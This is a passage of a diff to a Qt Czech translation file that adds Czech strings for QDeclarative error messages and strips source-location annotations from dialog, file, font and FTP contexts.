+ <message>
+ <source>Unable to preserve appearance under scale of 0</source>
+ <translation>Při změně velikosti s 0 nelze zachovat vzhled</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeParentChange</name>
+ <message>
+ <source>Unable to preserve appearance under complex transform</source>
+ <translation>Při složité proměně nelze zachovat vzhled</translation>
+ </message>
+ <message>
+ <source>Unable to preserve appearance under non-uniform scale</source>
+ <translation>Při nejednotné změně velikosti nelze zachovat vzhled</translation>
+ </message>
+ <message>
+ <source>Unable to preserve appearance under scale of 0</source>
+ <translation>Při změně velikosti s 0 nelze zachovat vzhled</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeParser</name>
+ <message>
+ <source>Illegal unicode escape sequence</source>
+ <translation>Neplatná úniková posloupnost unicode</translation>
+ </message>
+ <message>
+ <source>Illegal character</source>
+ <translation>Neplatný znak</translation>
+ </message>
+ <message>
+ <source>Unclosed string at end of line</source>
+ <translation>Neuzavřený řetězec na konci řádku</translation>
+ </message>
+ <message>
+ <source>Illegal escape squence</source>
+ <translation>Neplatná úniková posloupnost</translation>
+ </message>
+ <message>
+ <source>Unclosed comment at end of file</source>
+ <translation>Neuzavřená poznámka na konci souboru</translation>
+ </message>
+ <message>
+ <source>Illegal syntax for exponential number</source>
+ <translation>Neplatná skladba exponenciálního čísla</translation>
+ </message>
+ <message>
+ <source>Identifier cannot start with numeric literal</source>
+ <translation>Identifikátor nemůže začínat s číselným překlepem</translation>
+ </message>
+ <message>
+ <source>Unterminated regular expression literal</source>
+ <translation>Neuzavřený regulární výraz</translation>
+ </message>
+ <message>
+ <source>Invalid regular expression flag &apos;%0&apos;</source>
+ <translation>Neplatný příznak &apos;%0&apos; u regulárního výrazu</translation>
+ </message>
+ <message>
+ <source>Unterminated regular expression backslash sequence</source>
+ <translation>Neuzavřená posloupnost se zpětným lomítkem u regulárního výrazu</translation>
+ </message>
+ <message>
+ <source>Unterminated regular expression class</source>
+ <translation>Neuzavřená třída u neuzavřeného regulárního výrazu</translation>
+ </message>
+ <message>
+ <source>Syntax error</source>
+ <translation>Chyba ve skladbě</translation>
+ </message>
+ <message>
+ <source>Unexpected token `%1&apos;</source>
+ <translation>Neočekávaný symbol `%1&apos;</translation>
+ </message>
+ <message>
+ <source>Expected token `%1&apos;</source>
+ <translation>Očekávaný symbol `%1&apos;</translation>
+ </message>
+ <message>
+ <source>Property value set multiple times</source>
+ <translation>Vícenásobné přiřazení hodnoty k vlastnosti</translation>
+ </message>
+ <message>
+ <source>Expected type name</source>
+ <translation>Očekávaný název typu</translation>
+ </message>
+ <message>
+ <source>Invalid import qualifier ID</source>
+ <translation>Neplatný údaj o ID při zavádění</translation>
+ </message>
+ <message>
+ <source>Reserved name &quot;Qt&quot; cannot be used as an qualifier</source>
+ <translation>Zamluvený název &quot;Qt&quot; nemůže být použit jako kvalifikant</translation>
+ </message>
+ <message>
+ <source>Script import qualifiers must be unique.</source>
+ <translation>Kvalifikanty zadané pro zavedení skriptu musí být jednoznačné.</translation>
+ </message>
+ <message>
+ <source>Script import requires a qualifier</source>
+ <translation>Zavedení skriptu vyžaduje údaj o kvalifikantu</translation>
+ </message>
+ <message>
+ <source>Library import requires a version</source>
+ <translation>Zavedení knihovny vyžaduje údaj o verzi</translation>
+ </message>
+ <message>
+ <source>Expected parameter type</source>
+ <translation>Očekáván typ parametru</translation>
+ </message>
+ <message>
+ <source>Invalid property type modifier</source>
+ <translation>Neplatný modifikátor pro typ vlastnosti</translation>
+ </message>
+ <message>
+ <source>Unexpected property type modifier</source>
+ <translation>Neočekávaný modifikátor pro typ vlastnosti</translation>
+ </message>
+ <message>
+ <source>Expected property type</source>
+ <translation>Očekáván typ vlastnosti</translation>
+ </message>
+ <message>
+ <source>Readonly not yet supported</source>
+ <translation>&quot;Pouze pro čtení&quot; není na tomto místě ještě nepodporováno</translation>
+ </message>
+ <message>
+ <source>JavaScript declaration outside Script element</source>
+ <translation>Prohlášení JavaScriptu není mimo prvek skriptu přípustné</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativePauseAnimation</name>
+ <message>
+ <source>Cannot set a duration of &lt; 0</source>
+ <translation>Nelze nastavit dobu trvání &lt; 0</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativePixmap</name>
+ <message>
+ <source>Error decoding: %1: %2</source>
+ <translation>Chba při dekódování: %1: %2</translation>
+ </message>
+ <message>
+ <source>Failed to get image from provider: %1</source>
+ <translation>Obrazová data se od poskytovatele nepodařilo získat: %1</translation>
+ </message>
+ <message>
+ <source>Cannot open: %1</source>
+ <translation>Nelze otevřít: %1</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativePropertyAnimation</name>
+ <message>
+ <source>Cannot set a duration of &lt; 0</source>
+ <translation>Nelze nastavit dobu trvání &lt; 0</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativePropertyChanges</name>
+ <message>
+ <source>PropertyChanges does not support creating state-specific objects.</source>
+ <translation>PropertyChanges nepodporuje vytváření předmětů, které jsou přiřazeny jednomu stavu.</translation>
+ </message>
+ <message>
+ <source>Cannot assign to non-existent property &quot;%1&quot;</source>
+ <translation>Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <source>Cannot assign to read-only property &quot;%1&quot;</source>
+ <translation>Vlastnost &apos;%1&quot; je pouze pro čtení a nelze ji proto přiřadit</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeTextInput</name>
+ <message>
+ <source>Could not load cursor delegate</source>
+ <translation>Nepodařilo se nahrát zástupce kurzoru</translation>
+ </message>
+ <message>
+ <source>Could not instantiate cursor delegate</source>
+ <translation>Zástupce kurzoru se nepodařilo doložit příkladem</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeTypeLoader</name>
+ <message>
+ <source>Script %1 unavailable</source>
+ <translation>Skript %1 nedostupný</translation>
+ </message>
+ <message>
+ <source>Type %1 unavailable</source>
+ <translation>Typ %1 nedostupný</translation>
+ </message>
+ <message>
+ <source>Namespace %1 cannot be used as a type</source>
+ <translation>Jmenný prostor %1 nelze použít jako typ</translation>
+ </message>
+ <message>
+ <source>%1 %2</source>
+ <translation>%1 %2</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeVME</name>
+ <message>
+ <source>Unable to create object of type %1</source>
+ <translation>Nepodařilo se vytvořit žádný předmět typu %1</translation>
+ </message>
+ <message>
+ <source>Cannot assign value %1 to property %2</source>
+ <translation>Hodnotu &apos;%1&apos; nelze přiřadit vlastnosti %2</translation>
+ </message>
+ <message>
+ <source>Cannot assign object type %1 with no default method</source>
+ <translation>Typ předmětu %1 nelze přiřadit, protože neexistuje žádná výchozí metoda</translation>
+ </message>
+ <message>
+ <source>Cannot connect mismatched signal/slot %1 %vs. %2</source>
+ <translation>Nelze vytvořit žádné spojení mezi signálem %1 a otvorem %2, protože se k sobě nehodí</translation>
+ </message>
+ <message>
+ <source>Cannot assign an object to signal property %1</source>
+ <translation>Vlastnosti signálu %1 nelze přiřadit žádný předmět</translation>
+ </message>
+ <message>
+ <source>Cannot assign object to list</source>
+ <translation>Přiřazení předmětu k seznamům není přípustné</translation>
+ </message>
+ <message>
+ <source>Cannot assign object to interface property</source>
+ <translation>Vlastnosti rozhraní nelze přiřadit žádný předmět</translation>
+ </message>
+ <message>
+ <source>Unable to create attached object</source>
+ <translation>Nepodařilo se vytvořit žádný připojený předmět (typu &apos;attached&apos;)</translation>
+ </message>
+ <message>
+ <source>Cannot set properties on %1 as it is null</source>
+ <translation>Vlastnosti nelze nastavit na %1, protože jsou &apos;null&apos;</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeVisualDataModel</name>
+ <message>
+ <source>Delegate component must be Item type.</source>
+ <translation>Součástka zástupce musí být typu &apos;item&apos;.</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeXmlListModel</name>
+ <message>
+ <source>Qt was built without support for xmlpatterns</source>
+ <translation>Qt bylo sestaveno bez podpory pro xmlpatterns</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeXmlListModelRole</name>
+ <message>
+ <source>An XmlRole query must not start with &apos;/&apos;</source>
+ <translation>Vyhledávání XmlRole nesmí začínat s &apos;/&apos;</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeXmlRoleList</name>
+ <message>
+ <source>An XmlListModel query must start with &apos;/&apos; or &quot;//&quot;</source>
+ <translation>Vyhledávání XmlListModel musí začínat s &apos;/&apos; nebo &quot;//&quot;</translation>
+ </message>
+</context>
+<context>
<name>QDial</name>
<message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+951"/>
<source>QDial</source>
<translation>QDial</translation>
</message>
<message>
- <location line="+4"/>
<source>SliderHandle</source>
<translation>Posuvník</translation>
</message>
<message>
- <location line="-2"/>
<source>SpeedoMeter</source>
<translation>Rychloměr</translation>
</message>
@@ -1313,12 +2284,10 @@ na
<context>
<name>QDialog</name>
<message>
- <location filename="../src/gui/dialogs/qdialog.cpp" line="+501"/>
<source>Done</source>
<translation>Hotovo</translation>
</message>
<message>
- <location line="+135"/>
<source>What&apos;s This?</source>
<translation>Co je toto?</translation>
</message>
@@ -1326,124 +2295,98 @@ na
<context>
<name>QDialogButtonBox</name>
<message>
- <location filename="../src/gui/dialogs/qmessagebox.cpp" line="+1872"/>
- <location line="+464"/>
- <location filename="../src/gui/widgets/qdialogbuttonbox.cpp" line="+606"/>
<source>OK</source>
<translation>OK</translation>
</message>
<message>
- <location filename="../src/gui/widgets/qdialogbuttonbox.cpp" line="+0"/>
<source>&amp;OK</source>
<translation>&amp;OK</translation>
</message>
<message>
- <location line="+38"/>
<source>&amp;No</source>
<translation>&amp;Ne</translation>
</message>
<message>
- <location line="-6"/>
<source>&amp;Yes</source>
<translation>&amp;Ano</translation>
</message>
<message>
- <location line="-11"/>
<source>Help</source>
<translation>Nápověda</translation>
</message>
<message>
- <location line="-15"/>
<source>Open</source>
<translation>Otevřít</translation>
</message>
<message>
- <location line="-3"/>
<source>Save</source>
<translation>Uložit</translation>
</message>
<message>
- <location line="+0"/>
<source>&amp;Save</source>
<translation>&amp;Uložit</translation>
</message>
<message>
- <location line="+44"/>
<source>Abort</source>
<translation>Zrušit</translation>
</message>
<message>
- <location line="-32"/>
<source>Apply</source>
<translation>Použít</translation>
</message>
<message>
- <location line="-3"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location line="+6"/>
<source>Reset</source>
<translation>Vrátit</translation>
</message>
<message>
- <location line="+32"/>
<source>Retry</source>
<translation>Opakovat</translation>
</message>
<message>
- <location line="+6"/>
<source>Restore Defaults</source>
<translation>Obnovit výchozí</translation>
</message>
<message>
- <location line="-44"/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
<message>
- <location line="-3"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location line="+44"/>
<source>Ignore</source>
<translation>Přehlížet</translation>
</message>
<message>
- <location line="-26"/>
<source>Close without Saving</source>
<translation>Zavřít bez uložení</translation>
</message>
<message>
- <location line="+14"/>
<source>N&amp;o to All</source>
<translation>N&amp;e, žádné</translation>
</message>
<message>
- <location line="+3"/>
<source>Save All</source>
<translation>Uložit vše</translation>
</message>
<message>
- <location line="-35"/>
<source>&amp;Cancel</source>
<translation>&amp;Zrušit</translation>
</message>
<message>
- <location line="+20"/>
<source>Discard</source>
<translation>Odmítnout</translation>
</message>
<message>
- <location line="+6"/>
<source>Yes to &amp;All</source>
<translation>Ano, &amp;vše</translation>
</message>
<message>
- <location line="-10"/>
<source>Don&apos;t Save</source>
<translation>Neukládat</translation>
</message>
@@ -1455,23 +2398,19 @@ na
<translation type="obsolete">Druh</translation>
</message>
<message>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+457"/>
<source>Name</source>
<translation>Název</translation>
</message>
<message>
- <location line="+1"/>
<source>Size</source>
<translation>Velikost</translation>
</message>
<message>
- <location line="+3"/>
<source>Kind</source>
<comment>Match OS X Finder</comment>
<translation>Druh</translation>
</message>
<message>
- <location line="+2"/>
<source>Type</source>
<comment>All other platforms</comment>
<translation>Typ</translation>
@@ -1481,7 +2420,6 @@ na
<translation type="obsolete">Typ</translation>
</message>
<message>
- <location line="+6"/>
<source>Date Modified</source>
<translation>Datum změny</translation>
</message>
@@ -1489,17 +2427,14 @@ na
<context>
<name>QDockWidget</name>
<message>
- <location filename="../src/plugins/accessible/widgets/qaccessiblewidgets.cpp" line="+1241"/>
<source>Dock</source>
<translation>Vplout do panelu</translation>
</message>
<message>
- <location line="-2"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location line="+3"/>
<source>Float</source>
<translation>Plout</translation>
</message>
@@ -1507,12 +2442,10 @@ na
<context>
<name>QDoubleSpinBox</name>
<message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-533"/>
<source>Less</source>
<translation>Méně</translation>
</message>
<message>
- <location line="-2"/>
<source>More</source>
<translation>Více</translation>
</message>
@@ -1520,27 +2453,22 @@ na
<context>
<name>QErrorMessage</name>
<message>
- <location filename="../src/gui/dialogs/qerrormessage.cpp" line="+415"/>
<source>&amp;OK</source>
<translation>&amp;OK</translation>
</message>
<message>
- <location line="-201"/>
<source>Fatal Error:</source>
<translation>Osudová chyba:</translation>
</message>
<message>
- <location line="+200"/>
<source>&amp;Show this message again</source>
<translation>Toto hlášení &amp;ukázat ještě jednou</translation>
</message>
<message>
- <location line="-206"/>
<source>Debug Message:</source>
<translation>Hlášení o odladění:</translation>
</message>
<message>
- <location line="+3"/>
<source>Warning:</source>
<translation>Varování:</translation>
</message>
@@ -1548,38 +2476,30 @@ na
<context>
<name>QFile</name>
<message>
- <location filename="../src/corelib/io/qfile.cpp" line="+905"/>
<source>Cannot create %1 for output</source>
<translation>%1 se nepodařilo zřídit pro výstup</translation>
</message>
<message>
- <location line="-13"/>
<source>Failure to write block</source>
<translation>Datový blok se nepodařilo zapsat</translation>
</message>
<message>
- <location line="-180"/>
<source>Will not rename sequential file using block copy</source>
<translation>Nepřejmenuje posloupný soubor pomocí kopie bloku</translation>
</message>
<message>
- <location line="+23"/>
<source>Cannot remove source file</source>
<translation>Nelze odstranit zdrojový soubor</translation>
</message>
<message>
- <location line="+130"/>
<source>Cannot open %1 for input</source>
<translation>%1 se nepodařilo otevřít pro čtení</translation>
</message>
<message>
- <location line="-168"/>
- <location line="+155"/>
<source>Destination file exists</source>
<translation>Cílový soubor již existuje</translation>
</message>
<message>
- <location line="+30"/>
<source>Cannot open for output</source>
<translation>Nepodařilo se otevřít pro zápis</translation>
</message>
@@ -1587,143 +2507,108 @@ na
<context>
<name>QFileDialog</name>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_embedded.ui"/>
<source>Back</source>
<translation>Zpět</translation>
</message>
<message>
- <location filename="../src/gui/itemviews/qfileiconprovider.cpp" line="+464"/>
- <location line="+1"/>
<source>File</source>
<translation>Soubor</translation>
</message>
<message>
- <location line="+5"/>
<source>File Folder</source>
<comment>Match Windows Explorer</comment>
<translation>Souborová složka</translation>
</message>
<message>
- <location line="+2"/>
<source>Folder</source>
<comment>All other platforms</comment>
<translation>Složka</translation>
</message>
<message>
- <location line="+9"/>
<source>Alias</source>
<comment>Mac OS X Finder</comment>
<translation>Přezdívka</translation>
</message>
<message>
- <location line="+2"/>
<source>Shortcut</source>
<comment>All other platforms</comment>
<translation>Zkratka</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="+541"/>
<source>Open</source>
<translation>Otevřít</translation>
</message>
<message>
- <location line="+691"/>
- <location line="+50"/>
- <location line="+1528"/>
<source>&amp;Open</source>
<translation>&amp;Otevřít</translation>
</message>
<message>
- <location line="-1578"/>
- <location line="+50"/>
<source>&amp;Save</source>
<translation>&amp;Uložit</translation>
</message>
<message>
- <location filename="../src/gui/itemviews/qfileiconprovider.cpp" line="-22"/>
<source>Drive</source>
<translation>Disková jednotka</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-714"/>
<source>Show </source>
<translation>Ukázat </translation>
</message>
<message>
- <location line="+2091"/>
<source>&apos;%1&apos; is write protected.
Do you want to delete it anyway?</source>
<translation>&apos;%1&apos; je chráněn proti zápisu.
Přesto chcete soubor smazat?</translation>
</message>
<message>
- <location line="-2077"/>
- <location line="+663"/>
<source>File &amp;name:</source>
<translation>Název &amp;souboru:</translation>
</message>
<message>
- <location line="+1286"/>
<source>New Folder</source>
<translation>Nová složka</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_embedded.ui"/>
<source>Parent Directory</source>
<translation>Nadřazený adresář</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-1956"/>
<source>&amp;New Folder</source>
<translation>&amp;Nová složka</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qsidebar.cpp" line="+442"/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
<message>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+402"/>
<source>My Computer</source>
<translation>Můj počítač</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_embedded.ui"/>
<source>Look in:</source>
<translation>Hledat v:</translation>
</message>
<message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_embedded.ui"/>
<source>Files of type:</source>
<translation>Soubory typu:</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-36"/>
<source>Find Directory</source>
<translation>Najít adresář</translation>
</message>
<message>
- <location line="+35"/>
<source>Show &amp;hidden files</source>
<translation>&amp;Ukázat skryté soubory</translation>
</message>
<message>
- <location line="+2090"/>
<source>Are sure you want to delete &apos;%1&apos;?</source>
<translation>Jste si jistý, že %1 chcete smazat?</translation>
</message>
<message>
- <location line="-2121"/>
<source>Save As</source>
<translation>Uložit jako</translation>
</message>
<message>
- <location line="+1472"/>
- <location line="+862"/>
<source>%1
Directory not found.
Please verify the correct directory name was given.</source>
@@ -1732,91 +2617,68 @@ Adresář se nepodařilo nalézt.
Ověřte, prosím, že byl zadán správný název adresáře.</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_embedded.ui"/>
<source>List View</source>
<translation>Pohled se seznamem</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-1635"/>
- <location line="+38"/>
<source>&amp;Choose</source>
<translation>&amp;Vybrat</translation>
</message>
<message>
- <location line="-707"/>
<source>&amp;Delete</source>
<translation>&amp;Smazat</translation>
</message>
<message>
- <location line="-15"/>
- <location line="+450"/>
<source>All Files (*)</source>
<translation>Všechny soubory (*)</translation>
</message>
<message>
- <location line="+227"/>
<source>Directories</source>
<translation>Adresáře</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog_win.cpp" line="+174"/>
<source>All Files (*.*)</source>
<translation>Všechny soubory (*.*)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-663"/>
<source>&amp;Rename</source>
<translation>&amp;Přejmenovat</translation>
</message>
<message>
- <location line="+2107"/>
<source>Could not delete directory.</source>
<translation>Adresář se nepodařilo smazat.</translation>
</message>
<message>
- <location line="-2099"/>
- <location line="+659"/>
<source>Directory:</source>
<translation>Adresář:</translation>
</message>
<message>
- <location filename="../src/gui/itemviews/qfileiconprovider.cpp" line="+29"/>
<source>Unknown</source>
<translation>Neznámý</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="+810"/>
<source>%1 already exists.
Do you want to replace it?</source>
<translation>Soubor %1 již existuje.
Chcete jej nahradit?</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_embedded.ui"/>
<source>Forward</source>
<translation>Dopředu</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="+1040"/>
<source>Recent Places</source>
<translation>Naposledy navštívené</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_embedded.ui"/>
<source>Create New Folder</source>
<translation>Vytvořit novou složku</translation>
</message>
<message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_embedded.ui"/>
<source>Detail View</source>
<translation>Podrobný pohled</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-1020"/>
<source>%1
File not found.
Please verify the correct file name was given.</source>
@@ -1824,6 +2686,30 @@ Please verify the correct file name was given.</source>
Soubor se nepodařilo nalézt.
Ověřte, prosím, že byl zadán správný název souboru.</translation>
</message>
+ <message>
+ <source>Go back</source>
+ <translation>Jít zpět</translation>
+ </message>
+ <message>
+ <source>Go forward</source>
+ <translation>Jít dopředu</translation>
+ </message>
+ <message>
+ <source>Go to the parent directory</source>
+ <translation>Jít do rodičovského adresáře</translation>
+ </message>
+ <message>
+ <source>Create a New Folder</source>
+ <translation>Vytvořit novou složku</translation>
+ </message>
+ <message>
+ <source>Change to list view mode</source>
+ <translation>Změnit na režim pohledu se seznamem</translation>
+ </message>
+ <message>
+ <source>Change to detail view mode</source>
+ <translation>Změnit na režim s podrobným pohledem</translation>
+ </message>
</context>
<context>
<name>QFileSystemModel</name>
@@ -1832,12 +2718,10 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<translation type="obsolete">Druh</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfilesystemmodel.cpp" line="+893"/>
<source>Name</source>
<translation>Název</translation>
</message>
<message>
- <location line="+2"/>
<source>Size</source>
<translation>Velikost</translation>
</message>
@@ -1846,286 +2730,227 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<translation type="obsolete">Typ</translation>
</message>
<message>
- <location line="-149"/>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+478"/>
<source>%1 GB</source>
<translation>%1 GB</translation>
</message>
<message>
- <location line="+4"/>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+4"/>
<source>%1 KB</source>
<translation>%1 KB</translation>
</message>
<message>
- <location line="-2"/>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="-2"/>
<source>%1 MB</source>
<translation>%1 MB</translation>
</message>
<message>
- <location line="-4"/>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="-4"/>
<source>%1 TB</source>
<translation>%1 TB</translation>
</message>
<message>
- <location line="+85"/>
<source>&lt;b&gt;The name &quot;%1&quot; can not be used.&lt;/b&gt;&lt;p&gt;Try using another name, with fewer characters or no punctuations marks.</source>
<translation>&lt;b&gt;Název &quot;%1&quot; nelze použít.&lt;/b&gt;&lt;p&gt;Zkuste použít jiný název, s menším počtem znaků nebo bez zvláštních znaků.</translation>
</message>
<message>
- <location line="-78"/>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+7"/>
<source>%1 bytes</source>
<translation>%1 bytů</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfilesystemmodel_p.h" line="+258"/>
<source>My Computer</source>
<translation>Můj počítač</translation>
</message>
<message>
- <location line="+2"/>
<source>Computer</source>
<translation>Počítač</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qfilesystemmodel.cpp" line="+77"/>
<source>Invalid filename</source>
<translation>Neplatný název souboru</translation>
</message>
<message>
- <location line="+71"/>
<source>Kind</source>
<comment>Match OS X Finder</comment>
<translation>Druh</translation>
</message>
<message>
- <location line="+2"/>
<source>Type</source>
<comment>All other platforms</comment>
<translation>Typ</translation>
</message>
<message>
- <location line="+7"/>
<source>Date Modified</source>
<translation>Datum změny</translation>
</message>
+ <message>
+ <source>%1 byte(s)</source>
+ <translation>%1 byt(ů)</translation>
+ </message>
</context>
<context>
<name>QFontDatabase</name>
<message>
- <location filename="../src/gui/text/qfontdatabase.cpp" line="+2137"/>
<source>Any</source>
<translation>Všechna</translation>
</message>
<message>
- <location line="+60"/>
<source>Lao</source>
<translation>Laoské</translation>
</message>
<message>
- <location line="-2092"/>
- <location line="+12"/>
- <location line="+1308"/>
<source>Bold</source>
<translation>Tučné</translation>
</message>
<message>
- <location line="-1306"/>
<source>Demi</source>
<translation>Polotučné</translation>
</message>
<message>
- <location line="+2075"/>
<source>Thai</source>
<translation>Thajské</translation>
</message>
<message>
- <location line="-2083"/>
- <location line="+18"/>
- <location line="+1294"/>
<source>Black</source>
<translation>Černé</translation>
</message>
<message>
- <location line="+720"/>
<source>Greek</source>
<translation>Řecké</translation>
</message>
<message>
- <location line="+66"/>
<source>Khmer</source>
<translation>Khmerské</translation>
</message>
<message>
- <location line="-69"/>
<source>Latin</source>
<translation>Latinské</translation>
</message>
<message>
- <location line="-2015"/>
- <location line="+1304"/>
<source>Light</source>
<translation>Lehké</translation>
</message>
<message>
- <location line="+801"/>
<source>Ogham</source>
<translation>Ogamské</translation>
</message>
<message>
- <location line="-54"/>
<source>Oriya</source>
<translation>Oriya</translation>
</message>
<message>
- <location line="+57"/>
<source>Runic</source>
<translation>Runové</translation>
</message>
<message>
- <location line="-54"/>
<source>Tamil</source>
<translation>Tamilské</translation>
</message>
<message>
- <location line="-33"/>
<source>Cyrillic</source>
<translation>Cyrilské</translation>
</message>
<message>
- <location line="+39"/>
<source>Kannada</source>
<translation>Kannada</translation>
</message>
<message>
- <location line="+3"/>
<source>Malayalam</source>
<translation>Malayalam</translation>
</message>
<message>
- <location line="+24"/>
<source>Simplified Chinese</source>
<translation>Zjednodušená čínština</translation>
</message>
<message>
- <location line="-2104"/>
- <location line="+1319"/>
+ <source>N&apos;Ko</source>
+ <translation>N&apos;Ko</translation>
+ </message>
+ <message>
<source>Demi Bold</source>
<translation>Polotučné</translation>
</message>
<message>
- <location line="+728"/>
<source>Arabic</source>
<translation>Arabské</translation>
</message>
<message>
- <location line="-3"/>
<source>Hebrew</source>
<translation>Hebrejské</translation>
</message>
<message>
- <location line="+51"/>
<source>Myanmar</source>
<translation>Myanmar</translation>
</message>
<message>
- <location line="-1932"/>
- <location line="+1161"/>
<source>Italic</source>
<translation>Itala</translation>
</message>
<message>
- <location line="+789"/>
<source>Korean</source>
<translation>Korejské</translation>
</message>
<message>
- <location line="-2119"/>
- <location line="+1335"/>
<source>Normal</source>
<translation>Obvyklé</translation>
</message>
<message>
- <location line="-1163"/>
- <location line="+1160"/>
<source>Oblique</source>
<translation>Nakloněné</translation>
</message>
<message>
- <location line="+748"/>
<source>Telugu</source>
<translation>Telugu</translation>
</message>
<message>
- <location line="-21"/>
<source>Thaana</source>
<translation>Thaana</translation>
</message>
<message>
- <location line="+66"/>
<source>Symbol</source>
<translation>Symbol</translation>
</message>
<message>
- <location line="-69"/>
<source>Syriac</source>
<translation>Syrské</translation>
</message>
<message>
- <location line="+6"/>
<source>Devanagari</source>
<translation>Devanagari</translation>
</message>
<message>
- <location line="+54"/>
<source>Japanese</source>
<translation>Japonské</translation>
</message>
<message>
- <location line="-51"/>
<source>Bengali</source>
<translation>Bengálské</translation>
</message>
<message>
- <location line="-18"/>
<source>Armenian</source>
<translation>Arménské</translation>
</message>
<message>
- <location line="+42"/>
<source>Sinhala</source>
<translation>Sinhálské</translation>
</message>
<message>
- <location line="+9"/>
<source>Tibetan</source>
<translation>Tibetské</translation>
</message>
<message>
- <location line="+24"/>
<source>Vietnamese</source>
<translation>Větnamské</translation>
</message>
<message>
- <location line="-51"/>
<source>Gujarati</source>
<translation>Gujarati</translation>
</message>
<message>
- <location line="+42"/>
<source>Traditional Chinese</source>
<translation>Tradiční čínština</translation>
</message>
<message>
- <location line="-9"/>
<source>Georgian</source>
<translation>Gruzínské</translation>
</message>
<message>
- <location line="-36"/>
<source>Gurmukhi</source>
<translation>Gurmukhi</translation>
</message>
@@ -2133,48 +2958,38 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QFontDialog</name>
<message>
- <location filename="../src/gui/dialogs/qfontdialog.cpp" line="+776"/>
<source>&amp;Font</source>
<translation>&amp;Písmo</translation>
</message>
<message>
- <location line="+2"/>
<source>&amp;Size</source>
<translation>&amp;Velikost</translation>
</message>
<message>
- <location line="+8"/>
<source>Sample</source>
<translation>Vzorek</translation>
</message>
<message>
- <location line="-9"/>
<source>Font st&amp;yle</source>
<translation>Druh pís&amp;ma</translation>
</message>
<message>
- <location line="+10"/>
<source>Wr&amp;iting System</source>
<translation>Způsob &amp;psaní</translation>
</message>
<message>
- <location line="-609"/>
- <location line="+257"/>
<source>Select Font</source>
<translation>Vybrat písmo</translation>
</message>
<message>
- <location line="+350"/>
<source>&amp;Underline</source>
<translation>&amp;Podtrhnout</translation>
</message>
<message>
- <location line="-3"/>
<source>Effects</source>
<translation>Efekty</translation>
</message>
<message>
- <location line="+2"/>
<source>Stri&amp;keout</source>
<translation>Pře&amp;škrtnout</translation>
</message>
@@ -2182,145 +2997,104 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QFtp</name>
<message>
- <location filename="../src/network/access/qftp.cpp" line="+2333"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+2021"/>
<source>Listing directory failed:
%1</source>
<translation>Obsah adresářů nelze ukázat:
%1</translation>
</message>
<message>
- <location line="+20"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+15"/>
<source>Creating directory failed:
%1</source>
<translation>Vytvoření adresářů se nezdařilo:
%1</translation>
</message>
<message>
- <location line="-1525"/>
